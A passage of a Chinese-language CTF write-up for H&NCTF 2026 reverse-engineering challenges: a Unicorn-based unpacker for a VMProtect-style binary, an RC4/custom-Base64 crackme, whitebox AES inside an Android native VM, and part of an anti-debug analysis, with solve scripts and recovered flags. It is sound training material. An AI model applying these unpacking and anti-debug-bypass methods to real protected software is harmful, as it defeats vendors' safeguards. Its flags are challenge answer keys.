"mmap",
"munmap",
"mprotect",
"free",
"exit",
"readlink",
"system",
]
for index, name in enumerate(names):
address = STUB_BASE + index * 0x10
self.stub_by_name[name] = address
self.name_by_stub[address] = name
self.uc.mem_write(address, b"\xC3")
def _stub_for_symbol(self, name: str) -> int:
if name in self.stub_by_name:
return self.stub_by_name[name]
base_name = name.split("@")[0]
if base_name in self.stub_by_name:
return self.stub_by_name[base_name]
address = STUB_BASE + len(self.stub_by_name) * 0x10
self.stub_by_name[name] = address
self.name_by_stub[address] = name
self.uc.mem_write(address, b"\xC3")
return address
def _apply_relocations(self) -> None:
for section in self.elf.iter_sections():
if not isinstance(section, RelocationSection):
continue
symtab = self.elf.get_section(section["sh_link"])
for relocation in section.iter_relocations():
r_type = relocation["r_info_type"]
offset = relocation["r_offset"]
addend = relocation["r_addend"] if relocation.is_RELA() else 0
if r_type == 8: # R_X86_64_RELATIVE
self.uc.mem_write(offset, p64(addend))
elif r_type in (6, 7): # GLOB_DAT / JUMP_SLOT
symbol = symtab.get_symbol(relocation["r_info_sym"])
self.uc.mem_write(offset, p64(self._stub_for_symbol(symbol.name)))
elif r_type == 5: # COPY relocation for stdin/stdout
symbol = symtab.get_symbol(relocation["r_info_sym"])
if symbol.name.startswith("stdout"):
self.uc.mem_write(offset, p64(self.fake_stdout))
elif symbol.name.startswith("stdin"):
self.uc.mem_write(offset, p64(self.fake_stdin))
else:
self.uc.mem_write(offset, b"\x00" * symbol["st_size"])
def c_string(self, address: int, limit: int = 0x10000) -> bytes:
if not address:
return b""
result = bytearray()
for index in range(limit):
try:
char = self.uc.mem_read(address + index, 1)[0]
except UcError:
break
if char == 0:
break
result.append(char)
return bytes(result)
def _return(self, value: int = 0) -> None:
rsp = self.uc.reg_read(UC_X86_REG_RSP)
ret = u64(self.uc.mem_read(rsp, 8))
self.uc.reg_write(UC_X86_REG_RSP, rsp + 8)
self.uc.reg_write(UC_X86_REG_RAX, value & ((1 << 64) - 1))
self.uc.reg_write(UC_X86_REG_RIP, ret)
def _hook_unpacked_entry(self, uc: Uc, address: int, size: int, user_data) -> None:
self.reached_unpacked_entry = True
LOW_DUMP.write_bytes(bytes(uc.mem_read(LOW_BASE, LOW_SIZE)))
uc.emu_stop()
def _hook_stub(self, uc: Uc, address: int, size: int, user_data) -> None:
name = self.name_by_stub.get(address)
rdi = uc.reg_read(UC_X86_REG_RDI)
rsi = uc.reg_read(UC_X86_REG_RSI)
rdx = uc.reg_read(UC_X86_REG_RDX)
rcx = uc.reg_read(UC_X86_REG_RCX)
r8 = uc.reg_read(UC_X86_REG_R8)
r9 = uc.reg_read(UC_X86_REG_R9)
if name == "__libc_start_main":
self._jump_to_main(rdi)
elif name in {
"__gmon_start__",
"_ITM_deregisterTMCloneTable",
"_ITM_registerTMCloneTable",
"VMProtectBeginVirtualization",
"VMProtectEnd",
"_Unwind_Resume",
}:
self._return(0)
elif name == "strlen":
self._return(len(self.c_string(rdi)))
elif name == "malloc":
size = align_up(rdi or 1)
address = self.next_heap
self.next_heap += size + PAGE
self._map(address, size)
self._return(address)
elif name == "free":
self._return(0)
elif name == "dladdr":
info_name = STACK_BASE - 0x9000
self.uc.mem_write(info_name, self.program_path)
self.uc.mem_write(rsi, p64(info_name) + p64(LOW_BASE) + p64(0) + p64(0))
self._return(1)
elif name == "open":
fd = self.next_fd
self.next_fd += 1
self.fd_table[fd] = {"data": self.binary, "pos": 0}
self._return(fd)
elif name == "lseek":
fd = int(rdi)
offset = rsi if rsi < (1 << 63) else rsi - (1 << 64)
whence = rdx
entry = self.fd_table.setdefault(fd, {"data": b"", "pos": 0})
if whence == 0:
position = offset
elif whence == 1:
position = entry["pos"] + offset
elif whence == 2:
position = len(entry["data"]) + offset
else:
position = -1
entry["pos"] = position
self._return(position)
elif name == "mmap":
fd = r8 if r8 < (1 << 63) else r8 - (1 << 64)
address = align_down(rdi or self.next_heap)
length = align_up(rsi)
if not rdi:
self.next_heap += length + PAGE
self._map(address, length)
if fd in self.fd_table and rsi:
blob = self.fd_table[fd]["data"][r9 : r9 + rsi]
self.uc.mem_write(address, blob + b"\x00" * max(0, rsi - len(blob)))
self._return(address)
elif name in {"close", "munmap", "mprotect", "fopen", "fclose", "fflush"}:
self._return(0)
elif name == "readlink":
target = self.program_path[:-1]
size = min(len(target), rdx)
self.uc.mem_write(rsi, target[:size])
self._return(size)
elif name == "exit":
uc.emu_stop()
else:
self._return(0)
def _jump_to_main(self, main_address: int) -> None:
rsp = (self.uc.reg_read(UC_X86_REG_RSP) - 8) & ~0xF
self.uc.mem_write(rsp, p64(self.stub_by_name["exit"]))
self.uc.reg_write(UC_X86_REG_RSP, rsp)
self.uc.reg_write(UC_X86_REG_RDI, self.argc)
self.uc.reg_write(UC_X86_REG_RSI, self.argv)
self.uc.reg_write(UC_X86_REG_RDX, self.envp)
self.uc.reg_write(UC_X86_REG_RIP, main_address)
def _hook_invalid_memory(self, uc: Uc, access: int, address: int, size: int, value: int, user_data) -> bool:
raise RuntimeError(f"invalid memory access at {address:#x}, rip={uc.reg_read(UC_X86_REG_RIP):#x}")
def unpack(self) -> bytes:
self.uc.emu_start(self.elf.header.e_entry, 0, timeout=180_000_000)
if not self.reached_unpacked_entry:
raise RuntimeError("unpacker did not reach the restored _start")
return LOW_DUMP.read_bytes()
def recover_flag(low_dump: bytes) -> str:
marker = b"== H&NCTF 2026 :: vmp_obf ==\x00"
marker_offset = low_dump.find(marker)
if marker_offset == -1:
raise RuntimeError("cannot find rodata marker in low dump")
first_nonzero = marker_offset + len(marker)
while first_nonzero < len(low_dump) and low_dump[first_nonzero] == 0:
first_nonzero += 1
table_offset = first_nonzero - 1
flag_length = 0x28
table = low_dump[table_offset : table_offset + flag_length]
if len(table) != flag_length:
raise RuntimeError("xor table is truncated")
flag = bytearray([ord("H")])
for index in range(1, flag_length):
flag.append(flag[-1] ^ table[index])
if not flag.startswith(b"H&NCTF{") or flag[-1] != ord("}"):
raise RuntimeError(f"recovered bytes do not look like a flag: {flag!r}")
if any((flag[index - 1] ^ flag[index]) != table[index] for index in range(1, flag_length)):
raise RuntimeError("xor-chain verification failed")
return flag.decode()
def main() -> None:
parser = argparse.ArgumentParser(description="Solve HNCTF2026 vmp_obf")
parser.add_argument("--fresh", action="store_true", help="ignore existing dump_low.bin and unpack from vmp_obf")
args = parser.parse_args()
if args.fresh or not LOW_DUMP.exists():
low_dump = Unpacker(BIN_PATH).unpack()
else:
low_dump = LOW_DUMP.read_bytes()
print(recover_flag(low_dump))
if __name__ == "__main__":
main()

Image

H&NCTF{xor_chain_vm_obf_easy_rev_2026!!}

题目名称:mov~add~#

解题人:weixiao

解题过程:

题目的附件就只有一个二进制elf

字符串里面可以看到

usage: ./hn_rc4_b64_re <flag>
Wrong!
Correct!
/proc/self/status

说明程序带有/proc/self/status的TracerPid反调试检查

IDA 函数块总览

逻辑模块IDA 实际函数/块作用
程序入口main 0x1A90参数检查,调用 checker,输出 Correct!/Wrong!
函数表初始化sub_10770初始化 qword_12Cxx 间接调用表
主校验流程sub_2710 -> sub_2C61 -> sub_2F01 -> sub_3281 -> sub_3466 -> sub_360C整体 flag 校验流程
失败返回块sub_2AC2格式失败等路径会跳到这里
格式检查sub_37D0sub_3B85/sub_3D24/.../sub_5C69检查长度、前缀、后缀
key 写入sub_5C80写入 RC4 key
反调试sub_6EB0检查 /proc/self/statusTracerPid
输入预处理sub_6540 -> sub_6702 -> sub_6A7F -> sub_6D09对 24 字节输入做置换、异或、循环左移、加法
循环左移sub_FE908-bit rotate-left
RC4sub_9D50 -> sub_9F19 -> sub_A29C -> sub_A443标准 RC4,部分中间块 IDA 未单独建函数
自定义 Base64sub_B840 -> sub_BA24 -> sub_BDD3 -> sub_C169 -> ... -> sub_DB83Base64 编码,使用自定义表
Base64 表生成sub_FED0 -> sub_10085 -> sub_10402 -> sub_105C0生成自定义 Base64 alphabet
目标串生成sub_DD40 -> sub_DEF5 -> sub_E272 -> sub_E43B.rodata:0x6F0 解出比较目标
比较噪声sub_E5E0比较循环中调用,不影响最终反解

main函数

Image

checker 不是直接明文调用,而是通过 qword_12C28 解密后的函数指针调用,实际入口是 sub_2710

Image

Image

Image

sub_10770是构造函数,会填充qword_12Cxx表

Image

关键表项:

qword_12C40 -> sub_37D0 ; 格式检查
qword_12C48 -> sub_5C80 ; 写 key
qword_12C50 -> sub_6EB0 ; 反调试
qword_12C58 -> sub_6540 ; 输入预处理
qword_12C60 -> sub_9D50 ; RC4
qword_12C68 -> sub_B840 ; 自定义 Base64
qword_12C70 -> sub_DD40 ; 目标串生成
qword_12C78 -> sub_E5E0 ; 比较循环噪声
qword_12C88 -> sub_FE90 ; rol8
qword_12CB0 -> sub_FED0 ; Base64 表生成

sub_2710

这是 checker 入口。开头保存输入指针,然后通过 qword_12C40sub_37D0

sub_37D0

返回值放到edx,后面用条件移动选择下一块:

sub_2C61

这是格式正确后的继续块,主要做:

1. 调 sub_5C80 写入 key 缓冲区
2. 调 sub_6EB0 做反调试
3. 准备后续转换用的栈缓冲区

这里能看到对 qword_12C48 的调用,也就是 sub_5C80

Image

key 内容是:

H&NCTF-RC4-Base64-CFG-Key

sub_2F01

这是主流程后半段的调度/循环条件块。它会把生成的 Base64 和目标串循环比较。

关键点是这里会根据计数器是否小于 0x20 选择:

i < 32 -> sub_3281 ; 逐字节比较
i >= 32 -> sub_360C ; 最终判断

sub_3281

这是最终比较循环的核心块,定位最重要。

3281: mov eax, [rbp-0BCh] ; i
3287: movzx ecx, byte ptr [rbp+rax-90h] ; 生成的 Base64
328F: movzx eax, byte ptr [rbp+rax-0B0h] ; 目标串
3297: xor ecx, eax
3299: movzx eax, byte ptr [rbp-0B5h]
32A0: or eax, ecx
32A2: mov [rbp-0B5h], al ; mismatch 累积

也就是说:

[rbp-0x90] = sub_B840 生成的 32 字节自定义 Base64
[rbp-0xb0] = sub_DD40 生成的 32 字节目标串

比较后还会调用 sub_E5E0

32B8: mov rax, cs:qword_12C78
32CC: call rax ; sub_E5E0

但最终是否正确由 [rbp-0xB5] 的 mismatch 决定,sub_E5E0 不需要反

sub_37D0: 格式检查

sub_37D0 是入口,但它也被拆成很多块:

sub_37D0
sub_3B85
sub_3D24
sub_40A4
sub_4425
sub_47A6
sub_4B27
sub_4EA8
sub_5229
sub_55AA
sub_592B
sub_5ACA
sub_5C69

结论:

长度必须是 24
格式必须是 H&NCTF{xxxxxxxxxxxxxxxx}

sub_5C80: RC4 key 写入

sub_5C80 把 key 写入栈缓冲区,结果是:

H&NCTF-RC4-Base64-CFG-Key

后面 sub_9D50 用它作为 RC4 key。

sub_6EB0: 反调试

sub_6EB0 读取:

/proc/self/status

并检查 TracerPid。这个函数只影响运行环境,不参与 flag 算法。分析时可以 patch 或 stub 掉。

sub_6540逻辑块链: 输入预处理

这一层也不是只看 sub_6540 一个函数。IDA 实际块链:

sub_6540 ; 初始化参数和局部变量
sub_6702 ; 循环条件 i < 24
sub_6A7F ; 循环体核心变换
sub_6D09 ; i++ 并回到条件判断

核心变换在 sub_6A7F 附近。

正向逻辑:

for i in range(24):
idx = (5 * i + 11) % 24
x = input[idx]
x ^= (37 * i + seed + 0x5d) & 0xff
x = rol8(x, (i % 7) + 1)
x = (x + 19 * i - 0x41) & 0xff
out[i] = x

sub_2710 调用它时 seed = 0

sub_FE90

sub_FE90sub_6540 调用的小函数,做 8-bit 循环左移:

rol8(x, n) = ((x << n) | (x >> (8 - n))) & 0xff

反解时用 ror8 即可。

sub_9D50逻辑块链: RC4

RC4 入口是 sub_9D50,后面也被拆块:

sub_9D50 ; 初始化参数、局部 S 盒
sub_9F19 ; S[i] = i 的循环判断/调度
sub_A29C ; S[i] = i 的循环体
sub_A443 ; 后续 KSA/PRGA 的调度块

IDA 中间还有一些未单独建函数的跳转位置,例如 0xAB15 附近,是 RC4 KSA 的核心逻辑。

算法是标准 RC4:

KSA: 初始化并打乱 S[256]
PRGA: 生成 keystream
data[i] ^= keystream[i]

调用参数:

data = sub_6540 的 24 字节输出
length = 0x18
key = H&NCTF-RC4-Base64-CFG-Key
key_len = 0x19

RC4 加解密相同,反解时再跑一次 RC4。

sub_FED0逻辑块链: 自定义 Base64 表

sub_FED0 构造 Base64 字母表,实际核心在 sub_10402

块链:

sub_FED0
sub_10085
sub_10402 ; 核心写表
sub_105C0

sub_10402 的逻辑:

custom_table[i] = std_table[(13 * i + 7) & 0x3f]

标准表位于 .rodata:0x6A0

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

最终自定义表:

HUhu7IViv8JWjw9KXkx+LYly/MZmzANan0BObo1CPcp2DQdq3ERer4FSfs5GTgt6

sub_B840逻辑块链: 自定义 Base64 编码

sub_B840 是 Base64 编码入口。因为混淆,IDA 拆成了很多块:

sub_B840 ; 入口,调用 sub_FED0 生成表
sub_BA24
sub_BDD3
sub_C169
sub_C324
sub_C4C1
sub_C844
sub_CA03
sub_CBA3
sub_CF7B
sub_D13A
sub_D2DD
sub_D673
sub_D82F
sub_D9D2
sub_DB83

入口处可以看到调用 sub_FED0

B864: mov rax, cs:qword_12CB0
B878: lea rdi, [rbp-60h]
B87C: call rax ; sub_FED0(custom_table)

编码方式仍是普通 Base64 的分组:

3 字节 -> 24 bit -> 4 个 6-bit index

区别是查表时用 sub_FED0 生成的自定义表,不是标准表。

对本题正确路径中 sub_9D50 输出的 24 字节:

ef6366a1240615e7d9f692d384533caa3c595b11a7a2c788

标准 Base64 会得到:

72NmoSQGFefZ9pLThFM8qjxZWxGnoseI

sub_B840 得到:

GFw1PxXVINaMgcW+0IjTpOEMlEVCPDNv

这就是一开始按标准 Base64 反不出来可打印 flag 的原因。

sub_DD40 逻辑块链: 目标串生成

目标串入口是 sub_DD40,核心在 sub_E272

块链:

sub_DD40
sub_DEF5
sub_E272 ; 核心解目标串
sub_E43B

.rodata:0x6F0 有 32 字节:

05 19 0b a8 e6 ab a8 5b 63 09 05 cc f9 d8 8f de
22 66 26 3d f6 ec 85 90 96 52 62 12 3e cf e6 b3

sub_E272 的核心逻辑:

target[i] = rodata_6f0[i] ^ ((29 * i + 0x42) & 0xff)

得到比较目标:

GFw1PxXVINaMgcW+0IjTpOEMlEVCPDNv

这个目标会放到 sub_3281 比较循环里的 [rbp-0xB0]

解题脚本

#!/usr/bin/env python3
STD_B64 = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
KEY = b"H&NCTF-RC4-Base64-CFG-Key"
# .rodata:0x6f0, used by fn_dd40 to rebuild the target string.
TARGET_ENC = bytes.fromhex(
"05190ba8e6aba85b630905ccf9d88fde"
"2266263df6ec8590965262123ecfe6b3"
)
def build_custom_b64_table():
# fn_fed0 builds a shuffled base64 alphabet:
# table[i] = STD_B64[(13 * i + 7) & 0x3f]
return bytes(STD_B64[(13 * i + 7) & 0x3F] for i in range(64))
CUSTOM_B64 = build_custom_b64_table()
def recover_target():
# fn_dd40 decodes the 32-byte compare target from .rodata:
# target[i] = TARGET_ENC[i] ^ (29 * i + 0x42)
return bytes(b ^ ((29 * i + 0x42) & 0xFF) for i, b in enumerate(TARGET_ENC))
def custom_b64_decode(s):
rev = {c: i for i, c in enumerate(CUSTOM_B64)}
out = bytearray()
for i in range(0, len(s), 4):
block = s[i : i + 4]
pad = block.count(ord("="))
vals = [0 if c == ord("=") else rev[c] for c in block]
n = (vals[0] << 18) | (vals[1] << 12) | (vals[2] << 6) | vals[3]
out.append((n >> 16) & 0xFF)
if pad < 2:
out.append((n >> 8) & 0xFF)
if pad < 1:
out.append(n & 0xFF)
return bytes(out)
def custom_b64_encode(data):
out = bytearray()
for i in range(0, len(data), 3):
block = data[i : i + 3]
n = int.from_bytes(block.ljust(3, b"\x00"), "big")
out.append(CUSTOM_B64[(n >> 18) & 0x3F])
out.append(CUSTOM_B64[(n >> 12) & 0x3F])
out.append(CUSTOM_B64[(n >> 6) & 0x3F] if len(block) > 1 else ord("="))
out.append(CUSTOM_B64[n & 0x3F] if len(block) > 2 else ord("="))
return bytes(out)
def rc4(data, key):
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + key[i % len(key)]) & 0xFF
s[i], s[j] = s[j], s[i]
i = 0
j = 0
out = bytearray()
for b in data:
i = (i + 1) & 0xFF
j = (j + s[i]) & 0xFF
s[i], s[j] = s[j], s[i]
out.append(b ^ s[(s[i] + s[j]) & 0xFF])
return bytes(out)
def rol8(x, n):
return ((x << n) | (x >> (8 - n))) & 0xFF
def ror8(x, n):
return ((x >> n) | (x << (8 - n))) & 0xFF
def transform_6540(flag):
out = bytearray()
for i in range(24):
idx = (5 * i + 11) % 24
x = flag[idx] ^ ((37 * i + 0x5D) & 0xFF)
x = rol8(x, (i % 7) + 1)
x = (x + 19 * i - 0x41) & 0xFF
out.append(x)
return bytes(out)
def invert_6540(data):
flag = [0] * 24
for i, b in enumerate(data):
idx = (5 * i + 11) % 24
x = (b - (19 * i - 0x41)) & 0xFF
x = ror8(x, (i % 7) + 1)
flag[idx] = x ^ ((37 * i + 0x5D) & 0xFF)
return bytes(flag)
def main():
target = recover_target()
after_rc4 = custom_b64_decode(target)
before_rc4 = rc4(after_rc4, KEY)
flag = invert_6540(before_rc4)
print("custom_b64 =", CUSTOM_B64.decode())
print("target =", target.decode())
print("flag =", flag.decode())
check = custom_b64_encode(rc4(transform_6540(flag), KEY))
print("verify =", check.decode())
assert check == target
if __name__ == "__main__":
main()

Image

H&NCTF{rc4_b64_cfg_m4ze}

题目名称:ezvm#

解题人:weixiao

解题过程:

安装apk,白盒AES

Image

JADX打开apk,先看mainactivity,flag的校验是在checkFlag里,而这个函数是在native层

Image

转战native层,不是静态注册函数名,去看JNI_OnLoad,找到off_952A0,checkflag实际指向sub_21B80函数

Image

跳转过来,sub_21B80不是校验函数,只是 VM wrapper:

Image

继续看 sub_2BAC0 解释的 0x17140 字节码

这个函数也算是很长了,足足2100行,这里直接上结论

VM 解释器结构

主 VM sub_2BAC0 和二级 VM sub_34D90 是同一套模板,只是全局变量和字节码基址不同。

每个 basic block 开头是两个 dword seed:

seed_op = *(uint32_t *)(code + pc)
seed_arg = *(uint32_t *)(code + pc + 4)
pc += 8

后续 opcode 和 operand 都是按 byte 加密的。解密 seed 使用 xorshift32:

def xs32(x):
x &= 0xffffffff
x ^= (x << 13) & 0xffffffff
x ^= (x >> 17) & 0xffffffff
x ^= (x << 5) & 0xffffffff
return x & 0xffffffff

读 opcode 时:

enc = code[pc]
pc += 1
seed_arg = xs32(seed_arg)
decoded = enc ^ (seed_arg & 0xff)

opcode 本身不是直接 decoded,还要用 seed_op 生成最多 16 个候选值:

for k in range(16):
seed_op = xs32(seed_op)
if decoded == (seed_op & 0xff):
opcode = k + 1
break

跳转类 opcode 会改 pc = target,并设置重新进入 basic block。也就是说新 block 会重新读 8 字节 seed。

两个 VM 的跳表地址:

main VM opcode table: 0x845c
char VM opcode table: 0x8508

主 VM 15 个 opcode 入口:

1 -> 0x2bd55
2 -> 0x2c19f
3 -> 0x2c889
4 -> 0x2d0c5
5 -> 0x2df17
6 -> 0x2ef49
7 -> 0x2fd97
8 -> 0x33142
9 -> 0x34b8a
10 -> 0x346be
11 -> 0x30525
12 -> 0x33a20
13 -> 0x315ba
14 -> 0x31bbe
15 -> 0x32724

二级 VM 15 个 opcode 入口:

1 -> 0x35025
2 -> 0x3546f
3 -> 0x35b59
4 -> 0x36395
5 -> 0x371e7
6 -> 0x38219
7 -> 0x39067
8 -> 0x3c412
9 -> 0x3de5a
10 -> 0x3d98e
11 -> 0x397f5
12 -> 0x3ccf0
13 -> 0x3a88a
14 -> 0x3ae8e
15 -> 0x3b9f4

这里有一个容易踩坑的点:跳表元素是相对跳表基址的 rel32,不是相对元素自身地址。比如二级 VM 的第 5 个入口应该是:

0x8508 + rel32 = 0x371e7

不是 0x8518 + rel32

主 VM helper: sub_2B970

sub_2B970 是主 VM 外部 helper 分发:

char sub_2B970(uint64_t a1) {
if (a1 == 0) {
qword_954FD = sub_21FA0(qword_954ED, qword_954F5, 0);
} else if (a1 == 1) {
qword_95516 = -1;
} else if (a1 == 2) {
qword_9552E = strlen_chk(qword_9551E, qword_95526);
} else if (a1 == 3) {
byte_9555A = sub_21FE0(qword_95551, byte_95559) & 1;
} else if (a1 == 4) {
sub_22040(qword_9555C, qword_95564, qword_9556C);
}
}

其中:

sub_21FA0 = JNIEnv->GetStringUTFChars
sub_22040 = JNIEnv->ReleaseStringUTFChars

这两个函数可以通过 JNIEnv vtable 偏移确认:

sub_21FA0: call [(*env) + 0x548] = GetStringUTFChars
sub_22040: call [(*env) + 0x550] = ReleaseStringUTFChars

主 VM 的动态 trace 显示 helper 调用顺序固定:

pc 0x1b1: helper 0 -> GetStringUTFChars
pc 0x25d: helper 1 -> set strlen bound = -1
pc 0x2ba: helper 2 -> strlen
pc 0x417: helper 3 -> sub_21FE0(chars, len)
pc 0x489: helper 4 -> ReleaseStringUTFChars
pc 0x545: opcode 0xA -> byte_95440 = byte_9555A

因此主 VM 伪代码为:

bool checkFlag(JNIEnv *env, jobject obj, jstring s) {
char *p = GetStringUTFChars(env, s, 0);
size_t n = strlen(p);
bool ok = sub_21FE0(p, (uint8_t)n);
ReleaseStringUTFChars(env, s, p);
return ok;
}

主 VM 相关全局变量语义表:

变量语义依据
qword_95441JNIEnv *envsub_21B80 第一个参数保存到这里
qword_95449jobject obj / jclasssub_21B80 第二个参数
qword_95451Java 传入的 jstringsub_21B80 第三个参数
byte_95440最终 boolean 返回值sub_21B80 返回 byte_95440
qword_95588main VM memory base被设置为 &byte_95440
qword_95590main VM bytecode base被设置为 0x17140
dword_95584main VM PC每次取 byte 后自增,跳转时改成 target
qword_955A0当前 basic block 起始 PC每次 block reload 时保存旧 PC
dword_955A8opcode decode seedbasic block 前 4 字节
dword_955ACoperand/opcode byte decode seedbasic block 后 4 字节
qword_954EDhelper 0 的 JNIEnv * 参数传给 sub_21FA0
qword_954F5helper 0 的 jstring 参数传给 sub_21FA0
qword_954FDGetStringUTFChars 返回的 char *helper 0 写入
qword_9551Estrlenchar * 参数helper 2 使用
qword_95526strlen_chk bound 参数helper 2 使用,VM 中设置为无符号全 1
qword_9552Estrlen 返回值helper 2 写入
qword_95551传给 sub_21FE0char *helper 3 使用
byte_95559传给 sub_21FE0 的长度低 8 位helper 3 使用
byte_9555Asub_21FE0 返回值helper 3 写入,最后给 byte_95440
qword_9555CReleaseStringUTFCharsJNIEnv *helper 4 使用
qword_95564ReleaseStringUTFCharsjstringhelper 4 使用
qword_9556CReleaseStringUTFCharschar *helper 4 使用

这些地址很多是非 8 字节对齐的全局 slot,本质上是 VM memory overlay,IDA 会按引用宽度自动命名成 qword_xxx / byte_xxx

二级 VM wrapper: sub_21FE0

sub_21FE0 不是字符访问函数,而是另一个 VM wrapper:

uint8_t sub_21FE0(char *s, uint8_t len) {
qword_955B1 = s;
byte_955B9 = len;
qword_95670 = &byte_955B0; // char VM memory base
qword_95678 = &unk_17690; // char VM bytecode base
sub_34D90(); // char/check VM interpreter
return byte_955B0 & 1;
}

动态 trace 里,二级 VM 主要做三件事:

1. 准备输出缓冲区 out[32]
2. 调 sub_22080(input, len, out)
3. for i in 0..31:
target_i = sub_22270(i)
acc |= out[i] ^ target_i
return acc == 0

二级 VM helper 可以从 0x34CC0 附近确认:

a1 == 0: 清空 32 字节输出缓冲
a1 == 1: sub_22080(qword_95617, byte_9561F, qword_95620)
a1 == 2: byte_95645 = sub_22270(byte_95644)

trace 中 a1 == 2 每轮的 byte_95644 正好是 index,返回值 byte_95645 是目标密文字节。

二级 VM 相关全局变量语义:

变量语义
byte_955B0二级 VM 返回值
qword_955B1输入 char *
byte_955B9输入长度低 8 位
qword_95670char VM memory base,值为 &byte_955B0
qword_95678char VM bytecode base,值为 0x17690
dword_95668char VM PC
dword_95690char VM opcode decode seed
dword_95694char VM operand/opcode byte decode seed
qword_95617sub_22080 的 input 参数
byte_9561Fsub_22080 的 len 参数
qword_95620sub_22080 的 out 参数,指向 VM memory 中的 32 字节 buffer
byte_95644sub_22270(index) 的 index
byte_95645sub_22270(index) 返回的 target byte

提取目标密文

二级 VM 比较逻辑里,hook char_helper(a1=2) 就能直接拿到 target:

idx 0x00 -> 0x4d
idx 0x01 -> 0x7f
idx 0x02 -> 0xfb
...
idx 0x1f -> 0x60

完整 32 字节目标:

4d 7f fb 79 08 0d af 74 28 db 5c 2a 56 0d 6d ef
a1 e6 b4 d0 24 bb 2e 41 9e be 84 76 48 08 75 60

二级 VM 最终伪代码:

bool sub_21FE0(char *s, uint8_t len) {
uint8_t out[32] = {0};
sub_22080(s, len, out);
uint8_t acc = 0;
for (int i = 0; i < 32; i++) {
acc |= out[i] ^ target[i];
}
return acc == 0;
}

sub_22080: 白盒 AES 外层

sub_22080(input, len, out) 是本题核心变换。静态看它不是 memcmp,而是 32 字节分组变换。

逻辑:

uint8_t buf[32] = {0};
uint8_t prev[16] = {0};
copy_len = len < 32 ? len : 32;
memcpy(buf, input, copy_len);
if (len <= 32) {
pad = 0x20 - len;
for (i = len; i < 32; i++) {
buf[i] = pad;
}
}
for (block = 0; block < 32; block += 16) {
for (j = 0; j < 16; j++) {
b = buf[block + j];
if (block == 0) {
state[j] = pre_table_transform(j, b);
} else {
state[j] = b ^ prev[j];
}
}
sub_22380(state); // AES encrypt one block
memcpy(out + block, state, 16);
memcpy(prev, state, 16);
}

第一块进入 AES 前还有一个位置相关前置表:

uint8_t pre_table_transform(int pos, uint8_t b) {
uint8_t v = table_0xACD0[pos][b];
v ^= (0x59 * pos + 0x11 * b + 0x42) & 0xff;
v ^= ((b + pos * pos) ^ 0xA7) & 0xff;
return v;
}

第二块是类似 CBC:

block1_input = plaintext_block1 ^ ciphertext_block0

sub_22380: AES block

sub_22380 是 16 字节 block 加密。hook 内部函数可以看到标准 AES 轮结构:

sub_223C0 = AddRoundKey
sub_22450 = SubBytes
sub_224A0 = ShiftRows
sub_224E0 = MixColumns

轮顺序:

AddRoundKey(0)
for round 1..9:
SubBytes
ShiftRows
MixColumns
AddRoundKey(round)
final round:
SubBytes
ShiftRows
AddRoundKey(10)

从第一轮 AddRoundKey 前后可以直接恢复 key。以输入 flag 的第一块 trace 为例:

AddRoundKey 前:
10 01 11 4a 78 65 72 7d 71 75 7f 31 6e 79 7b 3d
AddRoundKey 后:
75 7b 67 27 55 12 10 50 10 10 0c 1c 5c 49 49 0b

异或:

65 7a 76 6d 2d 77 62 2d 61 65 73 2d 32 30 32 36

ASCII:

ezvm-wb-aes-2026

所以 sub_22380 可以直接等价为:

AES.new(b"ezvm-wb-aes-2026", AES.MODE_ECB).encrypt(block)

解题脚本:

from pathlib import Path
from Crypto.Cipher import AES
LIB = Path("out/lib/x86_64/libezvm.so")
KEY = b"ezvm-wb-aes-2026"
TARGET = bytes.fromhex(
"4d7ffb79080daf7428db5c2a560d6def"
"a1e6b4d024bb2e419ebe847648087560"
)
PRE_TABLE = 0xACD0
def pre_byte(blob: bytes, pos: int, value: int) -> int:
v = blob[PRE_TABLE + pos * 256 + value]
v ^= (0x59 * pos + 0x11 * value + 0x42) & 0xFF
v ^= ((value + pos * pos) ^ 0xA7) & 0xFF
return v & 0xFF
def invert_pre_table(blob: bytes):
inv = []
for pos in range(16):
m = {}
for value in range(256):
out = pre_byte(blob, pos, value)
if out in m:
raise RuntimeError(f"pre-table collision at pos {pos}")
m[out] = value
inv.append(m)
return inv
def encrypt_like_native(blob: bytes, plain32: bytes) -> bytes:
aes = AES.new(KEY, AES.MODE_ECB)
b0 = bytes(pre_byte(blob, i, plain32[i]) for i in range(16))
c0 = aes.encrypt(b0)
b1 = bytes(plain32[16 + i] ^ c0[i] for i in range(16))
c1 = aes.encrypt(b1)
return c0 + c1
def main():
blob = LIB.read_bytes()
aes = AES.new(KEY, AES.MODE_ECB)
inv = invert_pre_table(blob)
b0 = aes.decrypt(TARGET[:16])
b1_xor = aes.decrypt(TARGET[16:])
p0 = bytes(inv[i][b0[i]] for i in range(16))
p1 = bytes(b1_xor[i] ^ TARGET[i] for i in range(16))
padded = p0 + p1
pad = padded[-1]
flag = padded[:-pad]
print("target:", TARGET.hex())
print("key:", KEY.decode())
print("padded:", padded)
print("flag:", flag.decode())
print("verify:", encrypt_like_native(blob, padded).hex() == TARGET.hex())
if __name__ == "__main__":
main()

Image

Image

H&NCTF{ez_wbaes_vm_2026}

题目名称:entropybox#

解题人:weixiao

解题过程:

IDA打开,字符串区很直白:

/proc/self/status
TracerPid:
offer your token:
congratulations!!
H&NCTF{warmup_flag_not_here} <- 假 flag
nope, try again
almost there, keep digging
box://vacuum/echo

分析main函数

0x401215 | sigemptyset + sigaction(SIGILL, handler=0x401a30, ...) 注册 SIGILL 处理器

Image

0x401243 | fopen("/proc/self/status", "r") 逐行 fgets"TracerPid:",把数字 strtoul 出来存到 0x404144

Image

0x4012c1 | 输出 offer your token: fgets 0x60 字节 token

Image

0x4013a0 | 进入 0x140000 次 PRNG 主循环;命中 16 次 ud2,每次 SIGILL 处理器写一个字节到 0x404130

Image

0x4016c0 | 调用 ptrace(PTRACE_TRACEME, 0, 1, 0);返回值是否 < 0 决定 0x404140

Image

0x4016e80x401723 | 两次字节级 rol/xor 混淆,把 0x404130 的 16 字节扩展成 0x404120 的 16 字节会话密钥

0x401776 起 | 调用两次 0x401ab0 的轮函数,对 0x402110/0x402100 加密,结果落到 0x404100/0x404110

Image

0x4017e0 | 用 0x4020e0 的 32 字节置换索引,对上一步的 32 字节状态做 dst[i] = state[perm[i]]

Image

0x401855 起 | SSE2 比较 token 与上一步结果是否一致;任何失败都跳 nope/almost

Image

